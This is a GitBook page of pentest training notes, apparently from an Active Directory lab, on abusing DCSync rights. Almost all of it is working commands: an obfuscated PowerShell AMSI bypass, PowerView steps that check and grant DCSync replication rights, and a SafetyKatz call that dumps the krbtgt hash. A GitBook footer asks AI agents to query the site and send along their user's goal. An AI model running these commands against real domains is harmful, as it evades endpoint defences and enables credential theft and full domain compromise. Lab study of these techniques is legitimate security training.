# Abuse DCsync Rights

DCSync rights abuse is a powerful attack technique in Active Directory environments where an attacker with sufficient privileges can impersonate a Domain Controller (DC) and request user credentials, including password hashes, from the domain. This attack abuses the replication rights typically reserved for Domain Controllers, which allow them to synchronize data, including credentials, across the domain.

* First thing Invishell

```
c:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
```

* Bypass the AMSI

```
S`eT-It`em ( 'V'+'aR' +  'IA' + (('b'+("{1}{0}"-f':1','lE'))+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f(('U'+'ti')+'l'),'A',('Am'+'si'),(('.'+'Man')+('ag'+'e')+('me'+'n')+'t.'),('u'+'to'+(("{1}{0}"-f 'io','mat')+'n.')),'s',(('Sys'+'t')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+('ms'+'i')),'d',('I'+('n'+'itF')+('a'+'ile'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+('t'+'at')),'i',(('N'+'on')+('Pu'+'bl')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

* Load PowerView\.ps1

```
. C:\AD\Tools\PowerView.ps1
```

* Check if the Student have the DCsync Rights

```
Get-DomainObjectAcl -SearchBase "DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "studentx"}
```

*  Add  DCsync Rights to the Student **from DC Note(You Should upload PowerView script in order to add DCsync Rights)**

```
Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity studentx -Rights DCSync -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose
```

* Get the Krbtgt Key by student user

```
 c:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"
```

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://omar-4.gitbook.io/omar-docs/attacks/abuse-dcsync-rights.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
